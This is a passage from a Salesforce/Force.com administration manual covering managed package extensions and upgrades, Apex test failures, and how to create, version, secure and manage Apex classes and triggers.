2. Click Setup ➤ Create ➤ Packages, edit the package you want to make managed, and select Managed.

1532
Create Publishing Extensions to Managed Packages

Caution: Converting an unmanaged package to managed requires registering a namespace prefix that affects the API
names of uniquely named package components such as custom fields or s-controls. S-controls stored in the s-control
library or the Documents tab that do not use the Force.com API still function properly after you register a namespace
prefix. However, s-controls stored outside of your organization or s-controls that use the Force.com API to call
Salesforce.com may require some fine-tuning. For more information, see the S-control standard object page in the
Web Services API Developer's Guide.

See Also:
Managing Packages
Enabling Managed Packages for Your Organization

Publishing Extensions to Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

An extension is any package, component, or set of components that adds to the functionality of a managed package. An
extension requires that the base managed package be installed in the organization. For example, if you have built a recruiting
app, an extension to this app might include a component for performing background checks on candidates.
The community of developers, users, and visionaries building and publishing apps on Force.com AppExchange is part of what
makes Force.com such a rich development platform. Use this community to build extensions to other apps and encourage
them to build extensions to your apps.
To publish extensions to a managed package:

1. Install the base package in the Salesforce.com organization that you plan to use to upload the extension.
2. Build your extension components.
Note: To build an extension, install the base package and include a dependency to that base package in your
package. The extension attribute will automatically become active.

3. Create a new package and add your extension components. Salesforce.com automatically includes some related components.
For more information, see the Force.com Quick Reference for Developing Packages.
4. Upload the new package that contains the extension components.
5. Proceed with the publishing process as usual. For information on creating a test drive or registering and publishing your
app, go to http://sites.force.com/appexchange/publisherHome.

1533
Create Publishing Upgrades to Managed Packages

Note: Packages cannot be upgraded to Managed - Beta if they are used within the same organization as an extension.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Uploads
Publishing Upgrades to Managed Packages

Publishing Upgrades to Managed Packages


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the
components in a managed package are automatically included in subsequent uploads of that package, with one exception.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that
the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in
each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator
should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic
Apex Access in Packages on page 1700.
To publish upgrades to a managed package:

1. Select the package from the list of packages available at Setup ➤ Create ➤ Packages.
2. View the list of package components. Changes you have made to components in this package are automatically included
in this list. If the changes reference additional components, those components are automatically included as well. To add
new components, click Add to add them to the package manually.
3. Click Upload and upload it as usual.
Note:
After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot
install an older version. Deprecation prevents new installations of older versions without affecting existing
installations. For more information, see Managing Uploads on page 1512.
You cannot deprecate the most recent version of a managed package upload.

1534
Create Publishing Upgrades to Managed Packages

4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the
new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this
information. The License Management Application (LMA) automatically stores the version number that your installers
have in their organizations.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Uploads
Creating and Uploading Patches
Publishing Extensions to Managed Packages

Publishing Upgrades to Managed Packages


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

As a publisher, first ensure that your app is upgradeable by converting it to a managed package. Any changes you make to the
components in a managed package are automatically included in subsequent uploads of that package, with one exception.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that
the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in
each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator
should manually apply any acceptable changes after installing an upgrade. For more information, see About API and Dynamic
Apex Access in Packages on page 1700.
To publish upgrades to a managed package:

1. Select the package from the list of packages available at Setup ➤ Create ➤ Packages.
2. View the list of package components. Changes you have made to components in this package are automatically included
in this list. If the changes reference additional components, those components are automatically included as well. To add
new components, click Add to add them to the package manually.
3. Click Upload and upload it as usual.
Note:
After you upload a new version of your Managed - Released package, you can click Deprecate so installers cannot
install an older version. Deprecation prevents new installations of older versions without affecting existing
installations. For more information, see Managing Uploads on page 1512.

1535
Develop Resolving Apex Test Failures

You cannot deprecate the most recent version of a managed package upload.

4. When you receive an email with the link to the upload on Force.com AppExchange, notify your installed users that the
new version is ready. Use the list of installed users from the License Management Application (LMA) to distribute this
information. The License Management Application (LMA) automatically stores the version number that your installers
have in their organizations.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Managing Uploads
Creating and Uploading Patches
Publishing Extensions to Managed Packages

Resolving Apex Test Failures


Available in: Developer Edition

Package installs or upgrades may fail for not passing Apex test coverage. However, some of these failures can be ignored. For
example, a developer might write an Apex test that makes assumptions about a subscriber's data.
If you're a subscriber whose installation is failing due to an Apex test, contact the developer of the package for help.
If you're a developer and an install fails due to an Apex test failure, check for the following:

• Make sure that you are staging all necessary data required for your Apex test, instead of relying on subscriber data that
exists
• If a subscriber creates a validation rule, required field, or trigger on an object referenced by your package, your test may
fail if it performs DML on this object. If this object is created only for testing purposes and never at runtime, and the
creation fails due to these conflicts, you may be safe to ignore the test and continue the test. Otherwise, contact the customer
and determine the impact.

DEVELOP

Development Overview
The available setup options vary according to which Salesforce.com Edition you have.

Click Setup ➤ Develop to access the following options. These app builder tools may require some programming knowledge:

1536
Develop Development Overview

Apex Classes
Available in Developer, Enterprise, and Unlimited Editions only. Define Apex classes that you can use to add additional
business logic to your custom applications.

Apex Triggers
Available in Developer, Enterprise, and Unlimited Editions only. View all Apex triggers defined for your organization.

API
Available in Enterprise, Unlimited, and Developer Editions only. Download WSDL files that allow you to integrate
external applications with Salesforce.com.

Components
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Define custom Visualforce components
that you can use in one or more Visualforce pages.

Custom Settings
Available in Developer, Enterprise, and Unlimited Editions. Create and manage custom data for your organization.

Email Services
Available in Developer Edition only. Define Apex classes that can process inbound email.

Pages
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Define Visualforce pages that display
your own custom user interfaces.

S-Controls
Upload content such as Java applets or Active-X controls for use in dynamic custom links or Web tabs.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.

Sites
Available in Developer, Enterprise, and Unlimited Editions. Create public websites and applications that are integrated
into Salesforce.com.

Static Resources
Available in Group, Professional, Enterprise, Unlimited, and Developer Editions. Upload content that you can reference
in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript programs, and
other files.

Remote Access
Available in all editions. Create and manage a remote access application. A remote access application is an application
external to Salesforce.com that uses the OAuth protocol to verify both the Salesforce.com user and the external application.

1537
Develop Force.com Apex Code Overview

Tools
Available in Developer and Unlimited Editions only. Download tools that can assist you with building, debugging,
testing, and deploying Apex.

See Also:
App Builder Tools Overview
App Setup Overview

Force.com Apex Code Overview


Available in: Unlimited, Developer, and Enterprise Editions

Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and
transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax
that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system
events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service
requests and from triggers on objects.
Apex can be stored on the platform in two different forms:

• A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code under Setup ➤ Develop ➤ Apex Classes. See Managing
Apex Classes on page 1542.
• A trigger is an Apex script that executes before or after specific data manipulation language (DML) events occur, such as
before object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in
Salesforce.com. A list of all triggers in your organization is located at Setup ➤ Develop ➤ Apex Triggers. See Managing
Apex Triggers on page 1550.

Apex scripts generally run in system context, that is, the current user's profile-based permissions, field-level security, and
sharing rules are not taken into account during script execution.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement. For more information on deploying Apex, see “Deploying Apex
Scripts” in the Force.com Apex Code Developer's Guide.

1538
Develop Defining Apex Classes

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Defining Apex Classes
Viewing Apex Classes
Setting Apex Class Security
Creating an Apex Class from a WSDL
Defining Apex Triggers
What is a Debug Log?
Using the System Log Console
Running Apex Unit Tests
Monitoring Debug Logs
Using the Apex Tools
Handling Apex Exceptions in Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

Apex classes are stored as metadata in the application.


Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

To create a class:

1. In the application, click Setup ➤ Develop ➤ Apex Classes.


2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
class. Generally, you should use the default values for all versions. This associates the class with the most recent version of
Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want
to access components or functionality that differs from the most recent package version. You can specify an older version
of Apex and the API to maintain specific behavior.

1539
Develop Managing Version Settings for Apex

4. In the Body text box, enter the Apex for the class. A single class can be up to 100,000 characters in length.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue
editing your class. Your Apex script must compile correctly before you can save your class.

Once saved, classes can be invoked through class methods or variables by any other Apex script.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and
the API. If the Apex class references components, such as a custom object, in installed managed packages, the version
settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid
flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes
are made to object names or fields that are used in the class, including superficial changes such as edits to an object or
field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a
trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If
there are no errors, the isValid flag is reset to true.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Managing Version Settings for Apex


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the
Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class is saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.

1540
Develop Managing Version Settings for Apex

To set the Salesforce.com API and Apex version for a class or trigger:

1. Edit either a class or trigger, and click Version Settings.


2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger.
3. Click Save.

To configure the package version settings for a class or trigger:

1. Edit either a class or trigger, and click Version Settings.


2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will
continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update
the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the class
or trigger.
3. Click Save.

Note the following when working with package version settings:

• If you save an Apex class or trigger that references a managed package without specifying a version of the managed package,
the Apex class or trigger is associated with the latest installed version of the managed package by default.
• You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or
trigger. Use Show Dependencies to find where a managed package is referenced by a class or a trigger.

See Also:
Force.com Apex Code Overview
Defining Apex Classes
Defining Apex Triggers
Managing Apex Classes
Managing Apex Triggers
Viewing Apex Classes
Setting Apex Class Security
Managing Packages
About Package Versions
Developer's Guide: Force.com Apex Code Developer's Guide

1541
Develop Managing Apex Classes

Managing Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

An Apex class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code. Once successfully saved, class methods or variables can be
invoked by other Apex scripts, or through the Web services API (or AJAX Toolkit) for methods that have been designated
with the webService keyword.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.

To create an Apex class, click New and write your Apex in a simple editor. See Defining Apex Classes on page 1539.
While developers can write class methods according to the syntax outlined in the Force.com Apex Code Developer's Guide,
classes can also be automatically generated by consuming a WSDL document that is stored on a local hard drive or network.
Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their
Apex scripts. Click Generate From WSDL to generate an Apex class from a WSDL document.
Once you have created an Apex class, you can do any of the following:

• Click Edit next to the class name to modify its contents in a simple editor.
• Click Del next to the class name to delete the class from your organization.
Note:

- You cannot delete a class that is specified as a controller for a Visualforce page or component.
- A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations. For more information, see the Force.com Quick Reference for Developing Packages.
- A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.
- A icon indicates that an Apex class in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex class through the package detail page. See Deleting
Components From Managed Packages

• If an Apex class has any methods defined as a webService, you can click WSDL next to the class name to generate a
WSDL document from the class contents. This document contains all of the information necessary for a client to consume
Apex Web service methods. All class methods with the webService keyword are included in the resulting WSDL
document.

1542
Develop Viewing Apex Classes

• Click Security next to the class name to select the profiles that are allowed to execute methods in the class from top-level
entry points such as Web service methods. For classes that are installed in your organization as part of a managed package,
this link only displays for those defined as global.

If you have unit tests in at least one Apex class, click Run All Tests to run all the unit tests in your organization. For more
information, see Running Apex Unit Tests on page 1554.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

See Also:
Force.com Apex Code Overview
Defining Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Understanding Dependencies
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

After you have created a class, you can view the code contained in the class, as well as the API against which the class was
saved, and if the class is valid or active. Click Setup ➤ Develop ➤ Apex Classes, then click the name of the class you want
to view. While viewing a class, you can do any of the following:

• Click Edit to make changes to the class.


Note:

- You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the
Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are

1543
Develop Viewing Apex Classes

free resources provided by salesforce.com to support its users and partners, but are not considered part of our
Services for purposes of the salesforce.com Master Subscription Agreement.
- A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations. For more information, see the Force.com Quick Reference for Developing Packages.
- A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.
- A icon indicates that an Apex class in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex class through the package detail page.

• Click Delete to delete the class.


Note: You cannot delete a class that is specified as a controller for a Visualforce page or component.

• If your class has a method defined as a webService, click Generate WSDL to generate a WSDL document based on
the class.
Note: You cannot generate a WSDL document for classes defined as isTest.

• Click Download to download a copy of your Apex script.


• Click Run Test to run the unit tests contained in the class.
• Click Security to set the Apex class level security.
• Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be
valid. For more information, see Understanding Dependencies on page 1513.

The Class Summary tab displays the prototype of the class; that is, the classes, methods and variables that are available to
other Apex scripts. The Class Summary tab lists the access level and signature for each method and variable in an Apex class,
as well as any inner classes. If there is no prototype available, this tab is not available.
Note:

• For Apex classes not included in managed packages, only classes, methods and variables defined as either global
or public are displayed.
• For Apex classes included in managed packages, the Class Summary tab also lists the package version a particular
property or method was introduced. You can select a version number from the drop-down list to see the prototype
for the selected package version. The default value is the current installed version. A package developer can deprecate
an Apex method and upload a new package version, thus exposing an Apex class with a different prototype. Only
classes, methods and variables defined as global are displayed in prototypes for managed package classes.

1544
Develop Creating an Apex Class from a WSDL

If an Apex class references components in installed managed packages, such as another class, trigger, or custom object, the
Version Settings tab lists the package versions of the packages containing the referenced components.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Defining Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Using the Editor for Visualforce or Apex
Managing Packages
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Creating an Apex Class from a WSDL


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

An Apex class can also be automatically generated from a WSDL document that is stored on a local hard drive or network.
Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their
Apex scripts.
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web
services only when necessary.

To access this functionality:

1. In the application, click Setup ➤ Develop ➤ Apex Classes.


2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL
document is the basis for the Apex class you are creating and must be 1 MB or less.
Note:
The WSDL document that you specify may contain a SOAP endpoint location that references an outbound port.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:

• 80: This port only accepts HTTP connections.


• 443: This port only accepts HTTPS connections.

1545
Develop Creating an Apex Class from a WSDL

• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each
namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema
constructs that are not supported by Apex classes, or if the resulting classes would exceed 100,000 character limit on Apex
classes. For example, the Salesforce.com SOAP API WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the
same class name for each namespace, Apex classes can be no more than 100,000 characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors
from other classes. The page also provides a link to view the generated code if it was successful.

The successfully generated Apex class includes stub and type classes for calling the third-party Web service represented by the
WSDL document. These classes allow you to call the external Web service from Apex. The SOAP request and response for
a Web services call are both limited to 1 MB or less. For an example, see the Force.com Apex Code Developer's Guide.
Note the following about the generated Apex:

• If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated.
For example, limit in a WSDL document would be converted to limit_x in the generated Apex class. For a list of
reserved words, see the Force.com Apex Code Developer's Guide.
• If an operation in the WSDL has an output message that has more than one element, the generated Apex wraps the
elements in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the
individual elements.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Defining Apex Classes
Setting Apex Class Security
Developer's Guide: Force.com Apex Code Developer's Guide

1546
Develop Setting Apex Class Security

Setting Apex Class Security


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To set security for Apex classes: “Author Apex”
To edit profiles: “Manage Users”
AND
“Customize Application”

You can specify which users can execute methods in a particular top-level Apex class based on their profile. These permissions
only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or
controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless
of a user's permissions.
Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in
that package that are declared as global, or for classes that contain methods declared as webService.
If a user has the “Author Apex” permission enabled in his or her profile, the user has access to all Apex classes in the
associated organization, regardless of the security setting for individual classes.

Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access
only to class A but not class B, the user can still successfully execute the code in class A. Likewise, if a Visualforce page uses
a custom component with an associated controller, security is only checked for the controller associated with the page. The
controller associated with the custom component executes regardless of permissions.
To set Apex class security from the class list page:

1. Click Setup ➤ Develop ➤ Apex Classes.


2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add.
4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.

To set Apex class security from the class detail page:

1. Click Setup ➤ Develop ➤ Apex Classes.


2. Click the name of the class that you want to restrict.
3. Click Security
4. Select the profiles that you want to enable from the Available Profiles list and click Add.
5. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
6. Click Save.

To set Apex class security from the profile detail page:

1. Click Setup ➤ Manage Users ➤ Profiles.

1547
Develop Defining Apex Triggers

2. Click the name of the profile you want to modify.


3. In the Enabled Apex Class Access related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add.
5. Select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Defining Apex Classes
Creating an Apex Class from a WSDL
Running Apex Unit Tests
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Apex Triggers


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define Apex triggers: “Author Apex”

Apex triggers are stored as metadata in the application under the object with which they are associated.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

To define a trigger:

1. For a standard object, click Setup ➤ Customize, click the name of the object, then click Triggers.
For a custom object, click Setup ➤ Create ➤ Objects and click the name of the object.
For campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Triggers.
For case comments, click Setup ➤ Cases ➤ Case Comments ➤ Triggers.
For email messages, click Setup ➤ Cases ➤ Email Messages ➤ Triggers.
2. In the Triggers related list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this

1548
Develop Defining Apex Triggers

trigger. Generally, you should use the default values for all versions. This associates the trigger with the most recent version
of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want
to access components or functionality that differs from the most recent package version. You can specify an older version
of Apex and the API to maintain specific behavior.
4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only
want to store the script in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 32,000 characters in length.
To define a trigger, use the following syntax:

trigger triggerName on ObjectName (trigger_events) {


code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:

• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete

Note:

• You can only use the webService keyword in a trigger when it is in a method defined as asynchronous, that
is, when the method is defined with the @future keyword.
• A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.

6. Click Save.

Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until the
Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves
the trigger in metadata.
If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any
Apex triggers, validation rules, workflow rules, or roll-up summary fields.

See Also:
Force.com Apex Code Overview
Managing Apex Triggers
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide

1549
Develop Managing Apex Triggers

Managing Apex Triggers


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, and show dependencies for Apex “Author Apex”
triggers:

A trigger is an Apex script that executes before or after specific data manipulation language (DML) events occur, such as
before object records are inserted into the database, or after records have been deleted.
Triggers are stored as metadata in Salesforce.com. A list of all triggers in your organization is located at Setup ➤ Develop
➤ Apex Triggers. In addition to this list, triggers are associated and stored with specific objects. For standard objects, triggers
are located at Setup ➤ Customize ➤ Standard_Object_Name ➤ Triggers, and on the object detail page for custom objects
at Setup ➤ Create ➤ Objects.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.

Click New to create an Apex trigger.


Note: You can only create triggers from the associated object, not from the Apex Triggers page.

Once you have created an Apex trigger:

• Click Edit next to the trigger name to modify its contents in a simple editor.
• Click Del next to the trigger name to delete the trigger from your organization.

Note:

• You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition organization,
a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com production
organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE,
or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.
• A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in
a managed package.

1550
Develop Viewing Apex Trigger Details

• A icon indicates that an Apex trigger in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex trigger through the package detail page. See Deleting
Components From Managed Packages

See Also:
Force.com Apex Code Overview
Defining Apex Triggers
Viewing Apex Trigger Details
Understanding Dependencies
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Trigger Details


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To view Apex triggers: “Author Apex”

Apex triggers are stored as metadata in the application under the object with which they are associated. You can also view all
triggers by clicking Setup ➤ Develop ➤ Apex Triggers.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

To view the details for a trigger, click Setup ➤ Develop ➤ Apex Triggers, then click the name of the trigger. You can also
access the trigger details from the object. For a standard object, click Setup ➤ Customize, click the name of the object, click
Triggers, then click the name of the trigger. For a custom object, click Setup ➤ Create ➤ Objects, click the name of the
object, then click the name of the trigger.
From the trigger detail page, you can do any of the following:

• Click Edit to modify the contents of the trigger.

Note: A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a
trigger in a managed package.

• Click Delete to delete the trigger from your organization.


• Click Show Dependencies to display the items, such as fields, s-controls, or classes, that are referenced by the Apex script
contained in the trigger.

1551
Develop Scheduling Apex

• Click Download Apex to download the text of the trigger. The file is saved with the name of the trigger as the file name,
with the filetype of .trg.

The trigger detail page shows the following information for a trigger:

• The name of the trigger


• The name of the object with which the trigger is associated, such as Account or Case.
• The API version that the trigger has been saved against.
• Whether a trigger is valid.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until
the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user
re-saves the trigger in metadata.
If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run
any Apex triggers, validation rules, workflow rules, or roll-up summary fields.

• Whether the trigger is active.


• The text of the Apex script contained in the trigger.
• If trigger references components in installed managed packages, such as an Apex class, a Visualforce page, a custom object,
and so on, the Version Settings section lists the package versions of the packages containing the referenced components.
• If the trigger is contained in an installed managed package, the Installed Package indicates the package name.

See Also:
Force.com Apex Code Overview
Managing Apex Triggers
Defining Apex Triggers
Managing Packages
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Scheduling Apex
Available in: Unlimited, Developer, and Enterprise Editions

Use the Apex scheduler if you have specific Apex classes that you want to run on a regular basis, or to run a batch Apex job
